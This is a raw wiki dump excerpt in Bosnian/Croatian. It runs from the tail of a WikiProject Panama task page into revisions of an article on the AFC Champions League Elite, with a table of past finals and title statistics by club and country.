[[w:en:Peristeria elata]] || flora || <div align="center">{{kvačica}}</div> |- | '''8.''' || [[Harpija (ptica)]] || [[w:en:Harpy eagle]] || fauna || <div align="center">{{kvačica}}</div> |- | '''9.''' || [[Aníbal Godoy]] || [[w:en:Aníbal Godoy]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''10.''' || [[Luis Tejada]] || [[w:en:Luis Tejada]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''11.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''12.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''13.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''14.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''15.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''16.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''17.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''18.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''19.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''20.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''21.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''22.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''23.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''24.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''25.''' || [[]] || [[w:en:]] || || <div align="center"></div> |} </div> |} | style="border:1px solid transparent;" | | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top;"| {| id="mp-right" style="width:100%; vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Poslovi kategorizacije i stilizacije</h2> |- | style="color:#000; padding:2px 5px;" | <div id="mp-itn"> *'''[[:Kategorija:Panama]]''' :Sve članke u ovoj kategoriji valjalo bi propisno kategorizirati. Nekoliko novih kategorija svakako se može i treba otvoriti, članci koji su u glavnoj kategoriji, a mogu u potkategorije tamo trebaju i biti postavljeni. I *'''Šabloni''' :Na sve pripadajuče članke, valjalo bi dodati šablone koji se koriste za te vrste članaka (šablon o gradovima za gradove, političarima za političate, ''etc.'') kako bi se povećala kvaliteta postojećih članaka. </div> |} |} {| id="mp-upper" style="width:100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:100%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; width:100%; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Costa Rica.svg|18px]] Dodatno, zahtjevi, želje, ...</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px; width:100%"> Ovdje se mogu unositi sve vrste želja, zahtjeva i zamolbi koje bi bilo koji suradnik imao prema sudionicima na projektu, a vezane su uz Panamu. </div> |} |} __NOTOC__ __NOEDITSECTION__ [[Kategorija:Wikiprojekt države|P]] 8jk139pgxwbpjgrk5jorqwg1oxfx75x 0 4717106 42602691 42490731 2026-05-28T07:55:54Z ~2026-31799-49 358217 https://en.wikipedia.org/wiki/AFC_Champions_League_Elite 42602691 wikitext text/x-wiki {{Infokurija Sportsko natjecanje | ime = Liga prvaka AFC | izvorni naziv = AFC Champions League Elite | logo = | veličina = | opis = | utemeljeno = [[1967.]] | regija =[[Azija]] | momčadi = 32<small>(završnica)</small> | aktualni prvak = {{nowrap|{{flagicon|SAU}} [[Al-Ahli Saudi FC]] <small>(1. naslov)</small>}} | najuspješnija momčad = {{nowrap|{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] <small>(4 naslova)</small>}} | geslo = }} '''Liga prvaka AFC''' odnosno '''AFC Champions League Elite''' (skraćeno '''ACL Elite''') je godišnje kontinentalno fudbalsko prvenstvo za klupske momčadi, koje organizira [[Azijska fudbalska konfederacija]] (AFC), a u kojem sudjeluju klubovi iz najviših liga [[Azija|azijskih]] zemalja. To je najprestižnije klupsko natjecanje azijskog fudbala, u kojem igraju prvaci državnih liga – a u nekim državama i jedan ili više drugoplasiranih klubova – svojih državnih saveza. Uvedena je [[1967.]] pod nazivom ''Asian Champion Club Tournament'', a [[2002.]] godine preimenovano je u ''AFC Champions League'' nakon spajanja triju prijašnjih natjecanja – Azijskog kupa pobjednika kupova, Azijskog klupskog prvenstva i Azijskog superkupa – te je pod tim imenom održavano sve do [[2024.]], kada je dobilo sadašnji naziv. Ukupno 24 kluba sudjeluje u ligaškoj fazi natjecanja, podijeljeni u regije Istok i Zapad (po 12 momčadi). Pobjednik AFC Champions League Elite kvalificira se za FIFA-ine Međukontinentalni kup i Svjetsko klupsko prvenstvo, a također stječe pravo nastupa i u sljedećem izdanju ligaške faze AFC Champions League Elite, ako se već nije kvalificirao putem domaćih rezultata. Najuspješniji klub u historiji prvenstva je [[Al-Hilal Saudi Club|Al-Hilal]] s ukupno četiri osvojena naslova. Trenutačni prvak je Al-Ahli, koji je u finalu [[2025.]] pobijedio [[Kawasaki Frontale]]. == Zlatna knjiga == {| class="wikitable" width="70%" |- ! style="width:7%;"|Godina ! style="width:15%;"|Pobjednik ! style="width:10%;"|Rezultat ! style="width:15%;"|Drugo mjesto |- ! colspan=4|Asian Champion Club Tournament |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1967.|1967]] |{{flagicon|ISR}} '''[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]]''' |align=center|'''2 - 1''' |{{flagicon|MYS}} [[Selangor]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1969.|1969]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' |align=center|'''1 - 0 ''' |{{flagicon|KOR}} [[Yangzee]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1970.|1970]] |{{flagicon|IRN}} '''[[Esteglal Teheran|Taj]]''' |align=center|'''2 - 1 ''' |{{flagicon|ISR}} [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1971.|1971]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' |align=center|'''3 - 0'''{{efn|[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] pobijedio je u finalu, zakazanom za 2. travnja [[1971]] u [[Bangkok]]u, zbog povlačenja [[Al-Shorta]] iz političkih razloga.<ref>[http://www.rsssf.com/tablesa/ascup71.html#cc izvor: Champions' Cup 1971, RSSSF].</ref>}} |{{flagicon|IRQ}} [[Al Shorta]] |-bgcolor=#f5faff |align=center|1972 | colspan="3" align="center" |''Otkazano''{{efn|Natjecanje je bilo organizirano, ali nije odigrano.<ref>[http://www.rsssf.com/tablesa/ascup72.html#cc izvor: Champions' Cup 1972, RSSSF].</ref>}} |- ! colspan=4|Asian Club Championship |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1985.|1985-1986]] |{{flagicon|KOR}} '''[[Busan IPark]]''' |align=center|'''3 - 1''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1986.|1986-1987]] |{{flagicon|JPN}} '''[[Furukawa Electric]]''' |align=center|Liga sustav{{efn|Pobjednik završnog kruga, organiziranog po ligaškom sustavu.<ref>[http://www.rsssf.com/tablesa/ascup87.html Asian Champions' Cup 1986/87] na [[RSSSF]]</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1987.-1988.|1987-1988]] |{{flagicon|JPN}} '''[[Yomiuri]]''' |align=center|''Nije odigrano''{{efn|Finale, planirano kao dvomeč, pripalo je [[Tokyo Verdy 1969|Yomiuri]]ju službenim putem zbog ranog povlačenja [[Al-Hilal Saudi Club|Al-Hilal]]a.<ref>[http://www.rsssf.com/tablesa/ascup88.html#cc izvor: Champions' Cup 1987/88, RSSSF].</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1988.-1989.|1988-1989]] |{{flagicon|QAT}} '''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|<small>2 - 3 / 1 - 0</small> <br/> '''3-3'''{{efn|Pravilo gola u gostima.}} |{{flagicon|IRQ}} [[Al-Rasheed]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1989.-1990.|1989-1990]] |{{flagicon|CHN}} '''[[Liaoning FC|Liaoning]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|JPN}} [[Yokohama F·Marinos|Nissan Motors]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1990.-1991.|1990-1991]] |{{flagicon|IRN}} '''[[Esteglal Teheran]]''' |align=center|'''2 - 1''' |{{flagicon|CHN}} [[Liaoning FC|Liaoning]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1991.-1992.|1991-1992]] |{{flagicon|SAU}} '''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''1 - 1 (p. p.)''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1992.-1993.|1992-1993]] |{{flagicon|IRN}} '''[[PAS Teheran]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Shabab]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1993.-1994.|1993-1994]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''2 - 1''' |{{flagicon|OMN}} [[Oman Club]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1994.-1995.|1994-1995]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''1 - 0''' |{{flagicon|QAT}} [[Al Arabi]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1995.|1995]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Nassr]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1996.-1997.|1996-1997]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1997.-1998.|1997-1998]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|CHN}} [[Dalian Shide]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1998.-1999.|1998-1999]] |{{flagicon|JPN}}'''[[Jubilo]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1999.-2000.|1999-2000]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''3 - 2''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2000.-2001.|2000-2001]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''2 - 1''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2001.-2002.|2001-2002]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|KOR}} [[Anyang LG Cheetahs]] |- ! colspan=4|AFC Liga prvaka |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2002.-2003.|2002-2003]] |{{flagicon|ARE}} '''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>2 - 0 / 0 - 1</small> <br/> '''2-1''' |{{flagicon|THA}} [[BEC Tero Sasana]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2004.|2004]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>5 - 0 / 1 - 3</small> <br/> '''6-3''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2005.|2005]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>1 - 1 / 4 - 2</small> <br/> '''5-3''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2006.|2006]] |{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 0 / 1 - 2</small> <br/> '''3-2''' |{{flagicon|SYR|1980-2024}} [[Al-Karamah]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2007.|2007]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 2 - 0</small> <br/> '''3-1''' |{{flagicon|IRN}} [[Sepahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2008.|2008]] |{{flagicon|JPN}}'''[[Gamba Osaka|Gamba]]''' |align=center|<small>3 - 0 / 2 - 0</small> <br/> '''5-0''' |{{flagicon|AUS}} [[Adelaide United]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2009.|2009]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|SAU}} [[Al Ittihad]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2010.|2010]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Zob-Ahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2011.|2011]] |{{flagicon|QAT}}'''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|'''2 - 2 (p. p.)''' |{{flagicon|KOR}} [[Jeonbuk Hyundai Motors]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2012.|2012]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''3 - 0''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2013.|2013]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>2 - 2 / 1 - 1</small> <br/> '''3-2 {{gfc}}''' |{{flagicon|KOR}} [[FC Seoul]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2014.|2014]] |{{flagicon|AUS}}'''[[Western Sydney Wanderers]]''' |align=center|<small>1 - 0 / 0 - 0</small> <br/> '''1-0''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2015.|2015]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>0 - 0 / 1 - 0</small> <br/> '''1-0''' |{{flagicon|ARE}} [[Al Ahli Dubai FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2016.|2016]] |{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2017.|2017]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2018.|2018]] |{{flagicon|JPN}}'''[[Kashima Antlers]]''' |align=center|<small>2 - 0 / 0 - 0</small> <br/> '''2-0''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2019.|2019]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|<small>1 - 0 / 2 - 0</small> <br/> '''3-0''' |{{flagicon|JPN}} [[Urawa Red Diamonds]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2020.|2020]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''2 - 0 ''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2021.|2021]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''2 - 0 ''' |{{flagicon|KOR}} [[FC Pohang Steelers|Pohang Steelers]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2022.|2022]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' (3) |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2023.-2024.|2023-2024]] |{{flagicon|ARE}}'''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>1 - 2 / 5 - 1</small> <br/> '''6-3''' |{{flagicon|JPN}} [[Yokohama Marinos]] |- ! colspan=4|AFC Liga prvaka Elite |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka Elite 2024.-2025.|2024-2025]] |{{flagicon|SAU}} '''[[Al-Ahli Saudi FC]]''' |align=center|'''2-0''' |{{flagicon|JPN}} [[Kawasaki Frontale]] |- |} == Statistike == === Pobjede po klubu === {| class="toccolours sortable" style="border-collapse:collapse; margin-left:0.5em; margin-bottom:0.5em" border=1 cellpadding=2 cellspacing=0 |- bgcolor="efefef" ! Klub ! Država ! Naslovi ! Sezone |- | [[Al-Hilal Saudi Club|Al-Hilal SC]] | {{flag|SAU}} | align="center" | '''4''' | align="left" | [[Azijsko klupsko prvenstvo 1991.-1992.|1991-92]], [[Azijsko klupsko prvenstvo 1999.-2000.|1999-00]], [[AFC Liga prvaka 2019.|2019]], [[AFC Liga prvaka 2021.|2021]] |- | [[FC Pohang Steelers|Pohang Steelers]] | {{flag|KOR}} | align="center"| '''3''' | align="left"| [[Azijsko klupsko prvenstvo 1996.-1997.|1996-97]], [[Azijsko klupsko prvenstvo 1997.-1998.|1997-98]], [[AFC Liga prvaka 2009.|2009]] |- | [[Urawa Red Diamonds|Red Diamonds]] | {{flag|JPN}} | align="center"| '''3''' | align="left"| [[AFC Liga prvaka 2007.|2007]], [[AFC Liga prvaka 2017.|2017]], [[AFC Liga prvaka 2022.|2022]] |- | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] | {{flag|ISR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1969.|1969]], [[Azijsko klupsko prvenstvo 1971.|1971]] |- | [[Esteglal Teheran]] | {{flag|IRN}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1970.|1970]], [[Azijsko klupsko prvenstvo 1990.-1991.|1990-91]] |- | [[Al-Sadd Sports Club|Al Sadd]] | {{flag|QAT}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1988.-1989.|1988-89]], [[AFC Liga prvaka 2011.|2011]] |- | [[Thai Farmers Bank FC|Thai Farmers Bank]] | {{flag|THA}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1993.-1994.|1993-94]], [[Azijsko klupsko prvenstvo 1994.-1995.|1994-95]] |- | [[Suwon Bluewings]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 2000.-2001.|2000-01]], [[Azijsko klupsko prvenstvo 2001.-2002.|2001-02]] |- | [[Al Ittihad]] | {{flag|SAU}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2004.|2004]], [[AFC Liga prvaka 2005.|2005]] |- | [[Ilhwa Chunma]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1995.-1996.|1995-96]], [[AFC Liga prvaka 2010.|2010]] |- | [[Guangzhou Evergrande]] | {{flag|CHN}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2013.|2013]], [[AFC Liga prvaka 2015.|2015]] |- | [[Jeonbuk Hyundai Motors]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2006.|2006]], [[AFC Liga prvaka 2016.|2016]] |- | [[Ulsan Hyundai]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2012.|2012]], [[AFC Liga prvaka 2020.|2020]] |- | [[Al-Ain Sports and Cultural Club|Al Ain]] | {{flag|ARE}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2002.-2003.|2002-03]], [[AFC Liga prvaka 2023.-2024.|2023-24]] |- | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] | {{flag|ISR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1967.|1967]] |- | [[Busan IPark]] | {{flag|KOR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1984.-1985.|1984-85]] |- | [[Furukawa Electric]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1986.|1986]] |- | [[Yomiuri]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1987.-1988.|1987-88]] |- | [[Liaoning FC|Liaoning]] | {{flag|CHN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1989.-1990.|1989-90]] |- | [[PAS Teheran]] | {{flag|IRN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1992.-1993.|1992-93]] |- | [[Jubilo]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1998.-1999.|1998-99]] |- | [[Gamba Osaka|Gamba]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2008.|2008]] |- | [[Western Sydney Wanderers]] | {{flag|AUS}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2014.|2014]] |- | [[Antlers]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2018.|2018]] |- | [[Al-Ahli Saudi FC]] | {{flag|SAU}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka Elite 2024.-2025.|2024-25]] |}{{clear}} === Naslovi po državama === {| class="wikitable sortable" |- ! Država ! Pobjede ! Finala ! Klubovi prvaci ! Klubovi finalisti |- | {{flag|KOR}} |align=center| '''12''' |align=center| 7 | [[FC Pohang Steelers|Pohang Steelers]] (3)<br />[[Ilhwa Chunma]] (2)<br />[[Suwon Bluewings]] (2)<br />[[Jeonbuk Hyundai Motors]] (2)<br />[[Ulsan Hyundai]] (2)<br />[[Busan IPark]] (1) | [[Ilhwa Chunma]] (2)<br />[[FC Seoul]] (2)<br />[[Jeonbuk Hyundai Motors]] (1)<br />[[Yangzee]] (1)<br />[[FC Pohang Steelers|Pohang Steelers]] (1) |- | {{flag|JPN}} |align=center| '''8''' |align=center| 6 | [[Urawa Red Diamonds|Red Diamonds]] (3)<br />[[Furukawa Electric]] (1)<br />[[Yomiuri]] (1)<br />[[Gamba Osaka|Gamba]] (1)<br />[[Jubilo]] (1)<br />[[Antlers]] (1) | [[Jubilo]] (2)<br />[[Yokohama Marinos]] (2)<br />[[Urawa Red Diamonds|Red Diamonds]] (1)<br />[[Kawasaki Frontale]] (1) |- | {{flag|SAU}} |align=center| '''7''' |align=center| 10 | [[Al-Hilal Saudi Club|Al-Hilal SC]] (4)<br />[[Al Ittihad]] (2)<br />[[Al-Ahli Saudi FC]] (1) | [[Al-Hilal Saudi Club|Al-Hilal SC]] (5)<br />[[Al-Ahli Saudi FC]] (2)<br />[[Al Ittihad]] (1)<br />[[Al Nassr]] (1)<br />[[Al Shabab]] (1) |- | {{flag|IRN}} |align=center| '''3''' |align=center| 6 | [[Esteglal Teheran]] (2)<br />[[PAS Teheran]] (1) | [[Esteglal Teheran]] (2)<br />[[Persepolis Teheran]] (2)<br />[[Sepahan Isfahan]] (1)<br />[[Zob-Ahan Isfahan]] (1) |- | {{flag|CHN}} |align=center| '''3''' |align=center| 2 | [[Guangzhou Evergrande]] (2)<br />[[Liaoning FC|Liaoning]] (1) | [[Liaoning FC|Liaoning]] (1)<br />[[Dalian Shide]] (1) |- | ''{{flag|ISR}}''{{efn|Od [[1974]] nije više član AFC-a.}} |align=center| '''3''' |align=center| 1 | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] (2)<br />[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) |- | {{flag|ARE}} |align=center| '''2''' |align=center| 3 | [[Al-Ain Sports and Cultural Club|Al Ain]] (2) | [[Al-Ain Sports and Cultural Club|Al Ain]] (2)<br />[[Al Ahli Dubai FC]] (1) |- | {{flag|QAT}} |align=center| '''2''' |align=center| 1 | [[Al-Sadd Sports Club|Al Sadd]] (2) | [[Al Arabi]] (1) |- | {{flag|THA}} |align=center| '''2''' |align=center| 1 | [[Thai Farmers Bank FC|Thai Farmers Bank]] (2) | [[Police Tero]] (1) |- | {{flag|AUS}} |align=center| '''1''' |align=center| 1 | [[Western Sydney Wanderers]] (1) | [[Adelaide United]] (1) |- | {{flag|IRQ}} |align=center| 0 |align=center| 2 | align=center| - | [[Al Shorta]] (1)<br />[[Al Rasheed]] (1) |- | {{flag|MYS}} |align=center| 0 |align=center| 1 | align=center| - | [[Selangor]] (1) |- | {{flag|OMN}} |align=center| 0 |align=center| 1 | align=center| - | [[Oman Club]] (1) |- | {{flag|SYR}} |align=center| 0 |align=center| 1 | align=center| - | [[Al Karamah]] (1) |} == Napomene == {{notelist}} == Reference == {{reflist}} == Povezano == * [[AFC Champions League Two]] * [[AFC Challenge League]] {{Normativna kontrola}} [[Kategorija:Međunarodna klupska fudbalska takmičenja]] 71ovdls93rh22a5z865z3kkg9nn6o04 42602692 42602691 2026-05-28T07:57:51Z ~2026-31799-49 358217 /* */ 42602692 wikitext text/x-wiki {{Infokurija Sportsko natjecanje | ime = Liga prvaka AFC | izvorni naziv = AFC Champions League Elite | logo = | veličina = | opis = | utemeljeno = [[1967.]] | regija =[[Azija]] | momčadi = 32 <small>(završnica)</small> | aktualni prvak = {{nowrap|{{flagicon|SAU}} [[Al-Ahli Saudi FC]] <small>(2. naslov)</small>}} | najuspješnija momčad = {{nowrap|{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] <small>(4 naslova)</small>}} | geslo = }} '''Liga prvaka AFC''' odnosno '''AFC Champions League Elite''' (skraćeno '''ACL Elite''') je godišnje kontinentalno fudbalsko prvenstvo za klupske momčadi, koje organizira [[Azijska fudbalska konfederacija]] (AFC), a u kojem sudjeluju klubovi iz najviših liga [[Azija|azijskih]] zemalja. To je najprestižnije klupsko natjecanje azijskog fudbala, u kojem igraju prvaci državnih liga – a u nekim državama i jedan ili više drugoplasiranih klubova – svojih državnih saveza. Uvedena je [[1967.]] pod nazivom ''Asian Champion Club Tournament'', a [[2002.]] godine preimenovano je u ''AFC Champions League'' nakon spajanja triju prijašnjih natjecanja – Azijskog kupa pobjednika kupova, Azijskog klupskog prvenstva i Azijskog superkupa – te je pod tim imenom održavano sve do [[2024.]], kada je dobilo sadašnji naziv. Ukupno 24 kluba sudjeluje u ligaškoj fazi natjecanja, podijeljeni u regije Istok i Zapad (po 12 momčadi). Pobjednik AFC Champions League Elite kvalificira se za FIFA-ine Međukontinentalni kup i Svjetsko klupsko prvenstvo, a također stječe pravo nastupa i u sljedećem izdanju ligaške faze AFC Champions League Elite, ako se već nije kvalificirao putem domaćih rezultata. Najuspješniji klub u historiji prvenstva je [[Al-Hilal Saudi Club|Al-Hilal]] s ukupno četiri osvojena naslova. Trenutačni prvak je Al-Ahli, koji je u finalu [[2025.]] pobijedio [[Kawasaki Frontale]]. == Zlatna knjiga == {| class="wikitable" width="70%" |- ! style="width:7%;"|Godina ! style="width:15%;"|Pobjednik ! style="width:10%;"|Rezultat ! style="width:15%;"|Drugo mjesto |- ! colspan=4|Asian Champion Club Tournament |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1967.|1967]] |{{flagicon|ISR}} '''[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]]''' |align=center|'''2 - 1''' |{{flagicon|MYS}} [[Selangor]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1969.|1969]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' |align=center|'''1 - 0 ''' |{{flagicon|KOR}} [[Yangzee]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1970.|1970]] |{{flagicon|IRN}} '''[[Esteglal Teheran|Taj]]''' |align=center|'''2 - 1 ''' |{{flagicon|ISR}} [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1971.|1971]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' 